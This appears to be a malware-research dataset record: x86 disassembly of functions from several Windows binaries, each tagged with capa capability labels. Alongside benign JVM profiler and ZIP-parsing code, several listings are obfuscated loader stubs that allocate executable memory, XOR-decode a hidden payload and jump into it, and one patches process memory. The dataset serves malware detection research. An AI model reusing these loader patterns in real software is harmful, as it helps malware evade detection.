joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d9d5d70
Capabilities:
Terminate process

Disassembly:
cmp dword [esp + 0xc], 0
jne 0x6d9d5d7f
mov dword [esp + 0xc], 0x6d9e92b5
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
test ebp, ebp
je 0x6d9d5dee
push ebx
push ebp
call fcn.6d9e67b0
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x6d9d5d9f
mov ebx, 0x6d9ea458
mov esi, dword [esp + 0x20]
test esi, esi
jne 0x6d9d5dae
mov eax, str.UnknownSourceFile
jmp 0x6d9d5dd1
mov edi, dword [sym.imp.msvcr100.dll_strrchr]
push 0x2f
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d9d5dd0
push 0x5c
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d9d5dd0
mov eax, esi
jmp 0x6d9d5dd1
inc eax
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
push ecx
push eax
push ebp
push ebx
push edx
push str.HPROF_ERROR:__s__JVMTI_Error__s__d_____s:_d__n
call fcn.6d9d5d20
add esp, 0x18
pop ebx
jmp 0x6d9d5e38
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x6d9d5dfd
mov eax, str.UnknownSourceFile
jmp 0x6d9d5e20
mov edi, dword [sym.imp.msvcr100.dll_strrchr]
push 0x2f
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d9d5e1f
push 0x5c
push esi
call edi
add esp, 8
test eax, eax
jne 0x6d9d5e1f
mov eax, esi
jmp 0x6d9d5e20
inc eax
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
push ecx
push eax
push edx
push str.HPROF_ERROR:__s___s:_d__n
call fcn.6d9d5d20
add esp, 0x10
cmp byte [esp + 0x10], 0
pop edi
pop esi
pop ebp
jne 0x6d9d5e4d
mov eax, dword [0x6d9ee7f8]
cmp byte [eax + 0x65], 0
je 0x6d9d5e90
push str.HPROF_TERMINATED_PROCESS_n
call fcn.6d9d5d20
mov eax, dword [0x6d9ee7f8]
add esp, 4
cmp byte [eax + 0x64], 0
jne 0x6d9d5e6b
cmp byte [eax + 0x67], 0
je 0x6d9d5e88
push 0
push 0x16
call dword [sym.imp.msvcr100.dll_signal]
push str.HPROF_DUMPING_CORE_n
call fcn.6d9d5d20
add esp, 0xc
call dword [sym.imp.msvcr100.dll_abort]
push 9
call dword [sym.imp.msvcr100.dll_exit]
ret
Function at 0x6d9d6ad0
Capabilities:
Delete file

Disassembly:
sub esp, 0x28
mov eax, dword [0x6d9ee108]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
mov esi, ecx
mov eax, dword [esi]
push eax
mov dword [esp + 0xc], esi
call fcn.6d9deca0
add esp, 4
test eax, eax
js 0x6d9d6c14
push ebx
push edi
push eax
call fcn.6d9ded60
add esp, 4
call fcn.6d9deb60
mov edi, dword [esi]
mov dword [esp + 0x24], eax
mov eax, edi
mov dword [esp + 0xc], edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x6d9d6b17
sub eax, edx
add eax, 0x40
push eax
mov dword [esp + 0x1c], eax
call fcn.6d9e5d30
mov ecx, dword [0x6d9ee7f8]
add esp, 4
mov byte [esp + 0x28], 0
cmp byte [ecx + 0x38], 0x62
mov dword [esp + 0x20], eax
je 0x6d9d6bd5
xor eax, eax
jmp 0x6d9d6b50
mov cl, byte [eax + str..txt]
mov byte [esp + eax + 0x28], cl
inc eax
test cl, cl
jne 0x6d9d6b50
push 0x2e
push edi
call dword [sym.imp.msvcr100.dll_strrchr]
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
je 0x6d9d6bd5
push ebp
mov ebp, str..txt
xor edi, edi
mov esi, eax
sub ebp, eax
nop
mov bl, byte [esi]
test bl, bl
je 0x6d9d6bcc
movsx edx, byte [esi + ebp]
push edx
call dword [sym.imp.msvcr100.dll_tolower]
movsx ecx, bl
push ecx
mov dword [esp + 0x28], eax
call dword [sym.imp.msvcr100.dll_tolower]
add esp, 8
cmp dword [esp + 0x20], eax
jne 0x6d9d6bcc
inc edi
inc esi
cmp edi, 4
jl 0x6d9d6b80
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x2c]
mov eax, esi
sub edx, esi
jmp 0x6d9d6bc0
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x6d9d6bc0
mov byte [esi], cl
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
pop ebp
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
lea edx, [esp + 0x28]
push edx
push eax
push edi
push str._s._d_s
push ecx
push ebx
call fcn.6d9def10
push edi
mov dword [esi], ebx
call sub.msvcr100.dll_free
mov edx, dword [0x6d9ee7f8]
mov eax, dword [edx + 0x80]
push eax
call dword [sym.imp.msvcr100.dll_remove]
add esp, 0x20
pop edi
pop ebx
mov ecx, dword [esp + 0x28]
pop esi
xor ecx, esp
call fcn.6d9e7ff3
add esp, 0x28
ret
Function at 0x6d9dcee0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x20000
mov ebx, eax
call fcn.6d9e5d30
mov edi, dword [esp + 0x18]
add esp, 4
mov ebp, eax
lea esp, [esp]
mov eax, 0x20000
cmp edi, eax
jge 0x6d9dcf0b
mov eax, edi
push eax
push ebp
push ebx
call sub.msvcr100.dll__read
mov esi, eax
add esp, 0xc
test esi, esi
js 0x6d9dcf3d
je 0x6d9dcf54
jle 0x6d9dcf2b
push esi
push ebp
call dword [esp + 0x24]
add esp, 8
sub edi, esi
test edi, edi
jg 0x6d9dcf00
push ebp
call sub.msvcr100.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret
call dword [sym.imp.msvcr100.dll__errno]
mov eax, dword [eax]
push eax
push esi
mov ebx, str.read
call fcn.6d9dac20
add esp, 8
test edi, edi
jle 0x6d9dcf76
test esi, esi
jne 0x6d9dcf76
push 0x76e
push str.hprof_io.c
push str.File_size_is_smaller_than_bytes_written
push esi
push 1
call fcn.6d9d5d70
add esp, 0x14
push ebp
call sub.msvcr100.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x6d9deba0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
sub esp, 0x14
mov eax, dword [0x6d9ee108]
xor eax, esp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
jne 0x6d9debcf
or eax, 0xffffffff
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.6d9e7ff3
add esp, 0x14
ret
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [esp + 0x1c]
mov edx, dword [ecx]
push esi
push eax
mov dword [esp + 0xc], edx
call dword [sym.imp.wsock32.dll_htons]
push 0
mov ecx, 2
push 1
push ecx
mov word [esp + 0x12], ax
mov word [esp + 0x10], cx
call dword [sym.imp.wsock32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x6d9dec32
push 0x10
lea edx, [esp + 8]
push edx
push esi
call dword [sym.imp.wsock32.dll_connect]
cmp eax, 0xffffffff
jne 0x6d9dec44
push esi
call dword [sym.imp.wsock32.dll_closesocket]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.6d9e7ff3
add esp, 0x14
ret
mov ecx, dword [esp + 0x14]
mov eax, esi
pop esi
xor ecx, esp
call fcn.6d9e7ff3
add esp, 0x14
ret

Function at 0x6d9dec60
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call dword [sym.imp.wsock32.dll_recv]
ret

Function at 0x6d9ded70
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call dword [sym.imp.wsock32.dll_send]
ret
Function at 0x6d9dee90
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x6d9ee108]
xor eax, esp
mov dword [esp + 0x190], eax
mov eax, dword [esp + 0x19c]
sub eax, 0
je 0x6d9deed2
dec eax
jne 0x6d9deee2
mov eax, dword [esp + 0x198]
lea ecx, [esp]
push ecx
push 2
mov dword [0x6d9ee7f4], eax
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x6d9ee3d8], eax
jmp 0x6d9deee2
call dword [sym.imp.wsock32.dll_WSACleanup]
mov dword [0x6d9ee7f4], 0
mov ecx, dword [esp + 0x190]
xor ecx, esp
mov eax, 1
call fcn.6d9e7ff3
add esp, 0x194
ret 0xc

Function at 0x6d9df4c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x6d9df4cf
pop dword [ebp - 0x3c]
mov eax, 0xea1c11c
sub eax, 0xa103cc4d
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x8eaeee45
sub dword [ebp - 0x4c], 0x405ca8fa
mov dword [ebp - 0x48], 0x6515490
sub dword [ebp - 0x48], 0xd41e084b
mov dword [ebp - 0x44], 0xe1f9374
sub dword [ebp - 0x44], 0xc1d34f46
mov dword [ebp - 0x40], 0xd3e38160
add dword [ebp - 0x40], 0x2c1c7ea0
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x66a8e812
sub eax, 0xf90a57c2
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x9a0b4292
add dword [ebp - 0x4c], 0xda6726c4
mov dword [ebp - 0x48], 0xd20571d1
add dword [ebp - 0x48], 0x6f66efa4
mov dword [ebp - 0x44], 0x757bd00f
add dword [ebp - 0x44], 0xedf39c5d
mov dword [ebp - 0x40], 0xd4489881
add dword [ebp - 0x40], 0x2bb7677f
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x33c49
push 0
call eax
mov ecx, 0x45dc3d0f
add ecx, 0xba240017
mov edi, eax
mov esi, 0x49461e3d
sub esi, 0xdba7043d
add esi, dword [ebp - 0x3c]
mov ebx, 0xe30971c5
add dword [ebp - 0x18], 0xaa98790e
mov edx, dword [esi]
add dword [ebp - 0x38], ecx
xor edx, ebx
xor dword [ebp - 0x24], 0x858d521f
mov dword [edi], edx
sub dword [ebp - 0x1c], 0x99983c0d
add edi, 4
add esi, 0x16347712
sub esi, 0x1634770e
loop 0x6d9df5e6
add eax, 0x8fd986fc
add eax, 0x7027606f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x69e9e0cf
add ecx, 0x3b31f31
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x6d9e76c0
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov eax, dword [0x6d9ee7f8]
mov eax, dword [eax]
mov edx, dword [eax]
push ecx
push eax
mov eax, dword [edx + 0x22c]
call eax
test eax, eax
je 0x6d9e7710
push 0x50e
push str.hprof_util.c
push str.Unable_to_get_potential_JVMTI_capabilities.
push 0
push 0
call fcn.6d9d5d70
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.6d9d5d10
ret

Function at 0x6d9e7720
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x6d9ee7f8]
mov eax, dword [eax]
mov edx, dword [esp + 4]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x234]
call eax
test eax, eax
je 0x6d9e7763
push 0x51b
push str.hprof_util.c
push str.Unable_to_get_necessary_JVMTI_capabilities.
push 0
push 0
call fcn.6d9d5d70
add esp, 0x14
mov dword [esp + 4], 1
jmp fcn.6d9d5d10
ret

Function at 0x6d9e7ff3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d9ee108]
jne 0x6d9e7ffd
repz ret
jmp fcn.6d9e8482
Function at 0x10007cac
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.10016f85
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x10007e1f
jg 0x10007cdb
test esi, esi
jb 0x10007e1f
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.10017328
add esp, 0xc
test eax, eax
js 0x10007e1f
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x10007d3d
push edi
call fcn.1000822e
pop ecx
test eax, eax
je 0x10007d34
push ebx
push esi
push edi
push ebp
call fcn.10016f85
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x10007e24
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.10016f85
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x10007e1f
jg 0x10007d66
cmp ebp, ebx
jb 0x10007e1f
mov ecx, 0x10015
cmp eax, ebx
jg 0x10007d7b
jl 0x10007d75
cmp ebp, ecx
jae 0x10007d7b
mov esi, ebp
mov ecx, eax
jmp 0x10007d7f
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.10016f85
add esp, 0x10
cmp edx, ebx
jl 0x10007e1f
jg 0x10007da5
cmp eax, ebx
jb 0x10007e1f
push 0x10015
call fcn.10016f85
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10007e1f
push esi
push ebx
push dword [esp + 0x24]
call fcn.10017328
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x10007e18
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x10007e14
cmp byte [esi], 0x50
jne 0x10007e13
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x10007e13
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x10007e2b
dec esi
cmp esi, ebx
jae 0x10007dd4
push ebx
call fcn.10016f85
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.1000a190
push ebx
call fcn.10016f85
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.1000822e
add esp, 0x14
test eax, eax
je 0x10007e6b
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.10016f85
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x10007e24
Function at 0x10016f85
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10016f94
pop dword [ebp - 0x40]
mov eax, 0x10016f94
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xaf07571c
sub dword [ebp - 0x50], 0x60b511d1
mov dword [ebp - 0x4c], 0x2b073695
sub dword [ebp - 0x4c], 0xf8d3ea50
mov dword [ebp - 0x48], 0xac19c595
add dword [ebp - 0x48], 0xa0327e99
mov dword [ebp - 0x44], 0x4f45d075
sub dword [ebp - 0x44], 0x4f45d075
lea eax, [ebp - 0x50]
push eax
mov eax, 0xe3502d89
sub eax, 0xd34ddd39
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x4435c7fd
add dword [ebp - 0x50], 0x303ca159
mov dword [ebp - 0x4c], 0x9b0578e8
sub dword [ebp - 0x4c], 0x59991773
mov dword [ebp - 0x48], 0x2ab6afdd
sub dword [ebp - 0x48], 0xc7474371
mov dword [ebp - 0x44], 0x8cd2594a
add dword [ebp - 0x44], 0x732da6b6
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x5a794c01
add eax, 0xb5890453
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x435c8
push 0
call eax
mov ecx, 0x66a8f72a
add ecx, 0x9957676c
mov edx, eax
mov edi, 0x10035a00
add edi, dword [ebp - 0x40]
mov esi, 0xf7c08547
add esi, 0x39972895
sub dword [ebp - 8], 0xee93e808
mov ebx, dword [edi]
xor ebx, esi
xor dword [ebp - 0x34], 0xb75ac009
mov dword [edx], ebx
xor dword [ebp - 0x14], 0x684b7ff6
add edx, 0xdbd523df
sub edx, 0xdbd523db
add edi, 0x9fb6b705
sub edi, 0x9fb6b701
loop 0x100170ab
add eax, 0x86a84dcf
sub eax, 0x86a6e0a4
xor ebx, ebx
add ebx, eax
add eax, 0xa45a4961
add eax, 0x5ba5b6a4
mov ecx, 0xe73841d8
add ecx, 0x28c7be28
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x61b81a90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
cmp dword [ebp + 0xc], 1
je 0x61b81ab0
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret 0xc
mov eax, dword [ebp + 8]
mov dword [esp], 0
mov dword [0x61b8701c], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
sub esp, 4
cmp word [eax], 0x5a4d
jne 0x61b81b57
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x61b81b41
cmp word [ebx + 0x14], 0
je 0x61b81b90
mov edx, dword [ebx + 0x28]
test edx, edx
jne 0x61b81b70
xor ebx, ebx
mov eax, ebx
mov edx, 0x61b8156b
sub edx, eax
mov dword [ebp - 0xf], edx
mov byte [ebp - 0x10], 0xe9
mov byte [ebp - 0xb], 0xc3
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea edx, [ebp - 0x10]
mov dword [esp + 4], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 6
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov eax, 1
mov ebx, dword [ebp - 4]
sub esp, 0x14
leave
ret 0xc
mov dword [esp], 0xbf
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_SetLastError]
xor eax, eax
sub esp, 4
jmp 0x61b81af6
mov dword [esp], 0xc1
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_SetLastError]
xor eax, eax
sub esp, 4
jmp 0x61b81af6
mov dword [ebp - 0x1c], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebx + 0x28]
mov ebx, eax
sub esp, 4
jmp 0x61b81af6
mov dword [esp], 0xc0
xor ebx, ebx
call dword [sym.imp.KERNEL32.DLL_SetLastError]
xor eax, eax
sub esp, 4
jmp 0x61b81af6
Function at 0x61b82e60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
xor eax, eax
push edi
push esi
push ebx
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
nop
mov byte [ebx + eax], al
add eax, 1
cmp eax, 0x100
jne 0x61b82e70
mov byte [ebx + 0x100], 0
xor ecx, ecx
xor esi, esi
mov byte [ebx + 0x101], 0
nop
mov eax, ecx
movzx edi, byte [ebx + ecx]
cdq
idiv dword [esp + 0x1c]
mov eax, edi
add al, byte [ebp + edx]
add esi, eax
mov eax, esi
movzx eax, al
movzx edx, byte [ebx + eax]
mov byte [ebx + ecx], dl
add ecx, 1
mov edx, edi
cmp ecx, 0x100
mov byte [ebx + eax], dl
jne 0x61b82e90
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x61b82ed0
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor edx, edx
push edi
push esi
push ebx
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
test ecx, ecx
jle 0x61b82f39
movzx esi, byte [eax + 0x100]
lea ecx, [esi + 1]
movzx esi, byte [eax + 0x101]
movzx edi, cl
movzx ebx, byte [eax + edi]
mov byte [eax + 0x100], cl
add esi, ebx
mov ecx, esi
movzx esi, cl
mov byte [eax + 0x101], cl
movzx ecx, byte [eax + esi]
mov byte [eax + edi], cl
mov byte [eax + esi], bl
movzx ecx, byte [ebp + edx]
add bl, byte [eax + edi]
movzx ebx, bl
xor cl, byte [eax + ebx]
mov ebx, dword [esp + 0x1c]
mov byte [ebx + edx], cl
add edx, 1
cmp edx, dword [esp + 0x20]
jne 0x61b82ee6
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x61b83300
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], 0x61b850ac
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.61b83360
Function at 0x61b83360
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x3c
mov eax, dword [0x61b87398]
test eax, eax
jle 0x61b83463
mov edx, dword [0x61b8739c]
xor ebx, ebx
mov ecx, dword [edx + 4]
cmp ecx, esi
ja 0x61b83391
mov edi, dword [edx + 8]
add ecx, dword [edi + 8]
cmp esi, ecx
jb 0x61b83406
add ebx, 1
add edx, 0xc
cmp ebx, eax
jne 0x61b83380
mov dword [esp], esi
call fcn.61b83af0
test eax, eax
mov edi, eax
je 0x61b8348a
lea esi, [ebx + ebx*2]
mov ebx, dword [0x61b8739c]
shl esi, 2
add ebx, esi
mov dword [ebx + 8], eax
mov dword [ebx], 0
call fcn.61b83be0
add eax, dword [edi + 0xc]
mov dword [ebx + 4], eax
lea eax, [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [0x61b8739c]
mov dword [esp + 8], 0x1c
mov eax, dword [eax + esi + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x61b8346a
mov eax, dword [ebp - 0x20]
cmp eax, 0x40
jne 0x61b83410
add dword [0x61b87398], 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 4
je 0x61b833ff
cmp eax, 0x80
je 0x61b833ff
cmp eax, 8
je 0x61b833ff
mov eax, dword [ebp - 0x28]
add esi, dword [0x61b8739c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x61b833ff
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.61b83300
xor ebx, ebx
jmp 0x61b8339b
mov eax, dword [0x61b8739c]
mov eax, dword [eax + esi + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.61b83300
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.61b83300
lea esi, [esi]

Function at 0x61b83a10
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x61b83a48
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x61b83a3e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x61b83a4a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x61b83a30
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x408a6b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x408a7a
pop dword [ebp - 0x14]
mov eax, 0x408a7a
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3777e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x409d
mov ebx, eax
mov esi, 0x5c704fd3
add esi, 0xa3d1282d
add esi, dword [ebp - 0x14]
mov edx, 0xe657dc84
add edx, 0x4da63c8d
add dword [ebp - 8], ebx
mov edi, dword [esi]
mov dword [ebp - 4], 0x58632d01
add edi, edx
xor dword [ebp - 0xc], 0x358ea9c7
mov dword [ebx], edi
sub dword [ebp - 8], ebx
add ebx, 0x23760819
add ebx, 0xdc89f7eb
add esi, 0x810725a6
sub esi, 0x810725a2
loop 0x408ac9
add eax, 0xe5799c90
sub eax, 0xe578a749
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret